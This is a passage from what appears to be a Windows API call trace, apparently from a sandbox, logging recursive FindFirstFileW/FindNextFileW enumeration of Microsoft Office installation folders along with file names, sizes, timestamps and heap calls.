lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee8d7d1d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xce68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VEN2232.OLB", cAlternateFileName="")) returned 0 [0289.090] FindClose (in: hFindFile=0xb02dc8 | out: hFindFile=0xb02dc8) returned 1 [0289.091] GetProcessHeap () returned 0xaf0000 [0289.091] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0289.091] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b6194c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SystemX86", cAlternateFileName="SYSTEM~1")) returned 1 [0289.091] GetProcessHeap () returned 0xaf0000 [0289.091] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0289.091] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\SystemX86\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b6194c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0289.093] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b6194c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.093] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39870, dwReserved0=0x0, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1 [0289.093] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2e67974c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42acd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140.dll", cAlternateFileName="")) returned 1 [0289.093] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa68949f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa68949f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa6af6fe, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9860, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140chs.dll", cAlternateFileName="MFC140~4.DLL")) returned 1 [0289.094] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9860, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140cht.dll", cAlternateFileName="MF87C9~1.DLL")) returned 1 [0289.094] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf00af60a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dcf007e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10860, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140deu.dll", cAlternateFileName="MFC140~1.DLL")) returned 1 [0289.094] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x860e337, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x860e337, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdcc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140enu.dll", cAlternateFileName="MF352D~1.DLL")) returned 1 [0289.094] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22f6470, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2dcf007e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10460, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140esn.dll", cAlternateFileName="MF9310~1.DLL")) returned 1 [0289.094] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0194432, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dcf007e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10860, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140fra.dll", cAlternateFileName="MFC140~2.DLL")) returned 1 [0289.094] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc6df3cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc6df3cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2dcf007e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10060, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140ita.dll", cAlternateFileName="MF3F49~1.DLL")) returned 1 [0289.094] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9ea37c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9ea37c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9ea37c1, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb2c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140jpn.dll", cAlternateFileName="MFC140~3.DLL")) returned 1 [0289.094] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa8eba59, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140kor.dll", cAlternateFileName="MFBB77~1.DLL")) returned 1 [0289.095] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aa3169, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aa3169, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aa3169, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf860, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140rus.dll", cAlternateFileName="MF5D55~1.DLL")) returned 1 [0289.095] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0dcc568, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0dcc568, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2e67974c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43aad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1 [0289.095] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf9bf4d66, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9bf4d66, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf9e0ae4d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15268, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfcm140.dll", cAlternateFileName="")) returned 1 [0289.095] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc646a83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc646a83, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14cc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="mfcm140u.dll", cAlternateFileName="")) returned 1 [0289.095] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b6194c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c2c3dcb, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0xa1880, dwReserved0=0x0, dwReserved1=0x0, cFileName="mscomct2.ocx", cAlternateFileName="")) returned 1 [0289.095] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x624ad43, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x69658, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1 [0289.096] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf158c060, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1697068, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3eec8, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib140.dll", cAlternateFileName="VCCORL~1.DLL")) returned 1 [0289.096] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc51578a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc51578a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 1 [0289.096] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc51578a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc51578a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc646a83, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12e58, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcruntime140.dll", cAlternateFileName="VCRUNT~1.DLL")) returned 0 [0289.096] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0289.640] GetProcessHeap () returned 0xaf0000 [0289.640] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0289.657] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcf168 | out: lpFindFileData=0x2fcf168*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0289.657] GetProcessHeap () returned 0xaf0000 [0289.657] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0289.657] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0289.657] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.657] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="assembly", cAlternateFileName="")) returned 1 [0289.657] GetProcessHeap () returned 0xaf0000 [0289.657] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0289.658] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0289.658] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.658] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_64", cAlternateFileName="")) returned 1 [0289.658] GetProcessHeap () returned 0xaf0000 [0289.659] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3666250 [0289.659] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_64\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02dc8 [0289.659] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.659] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Access.BusinessDataCatalog", cAlternateFileName="MICROS~1.BUS")) returned 1 [0289.659] GetProcessHeap () returned 0xaf0000 [0289.659] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0289.660] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0289.660] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.660] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 1 [0289.660] GetProcessHeap () returned 0xaf0000 [0289.660] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a72870 [0289.661] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\16.0.0.0__71E9BCE111E9429C\\*", lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02f08 [0289.661] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0289.661] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x296f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Access.BusinessDataCatalog.DLL", cAlternateFileName="MICROS~1.DLL")) returned 1 [0289.662] FindNextFileW (in: hFindFile=0xb02f08, lpFindFileData=0x2fce4c0 | out: lpFindFileData=0x2fce4c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6165f55, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x296f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Access.BusinessDataCatalog.DLL", cAlternateFileName="MICROS~1.DLL")) returned 0 [0289.662] FindClose (in: hFindFile=0xb02f08 | out: hFindFile=0xb02f08) returned 1 [0289.662] GetProcessHeap () returned 0xaf0000 [0289.662] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a72870 | out: hHeap=0xaf0000) returned 1 [0289.662] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0289.662] FindClose (in: hFindFile=0xb02ec8 | out: hFindFile=0xb02ec8) returned 1 [0289.662] GetProcessHeap () returned 0xaf0000 [0289.662] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0289.662] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, 